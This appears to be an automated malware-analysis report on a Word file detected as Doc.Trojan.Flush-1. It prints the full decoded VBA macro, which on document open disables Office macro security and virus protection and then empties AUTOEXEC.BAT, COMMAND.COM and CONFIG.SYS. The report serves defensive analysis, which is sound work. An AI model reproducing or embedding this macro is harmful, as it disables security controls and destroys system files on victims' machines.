MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros, specifically a Document_Open macro, which is designed to disable macro security settings and overwrite critical system files. The script explicitly attempts to overwrite 'C:\Autoexec.BAT', 'C:\COMMAND.COM', and 'C:\CONFIG.SYS', indicating a destructive or disruptive intent.
Heuristics 3
-
ClamAV: Doc.Trojan.Flush-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Flush-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1258 bytes |
SHA-256: 6121e9dc65c960256b814fb913b7fdb60714b0da27866bcd21c6ec58f61e227e |
|||
|
Detection
ClamAV:
Doc.Trojan.Flush-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "level") = 1&
Else
CommandBars("Tools").Controls("MAcro").Enabled = False
With Options
.ConfirmConversions = False
.SaveNormalPrompt = False
.VirusProtection = False
End With
End If
SetAttr "C:\Autoexec.BAT", vbNormal 'Let's Flush Autoexec.bat
Open "C:\AUTOEXEC.BAT" For Output As #1
Close #1
SetAttr "C:\COMMAND.COM", vbNormal ' Let's Flush Command.com
Open "C:\COMMAND.COM" For Output As #1
Close #1
SetAttr "C:\CONFIG.SYS", vbNormal
Open "C:\CONFIG.SYS" For Output As #1 'Let's Flush Config.sys
Close #1
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.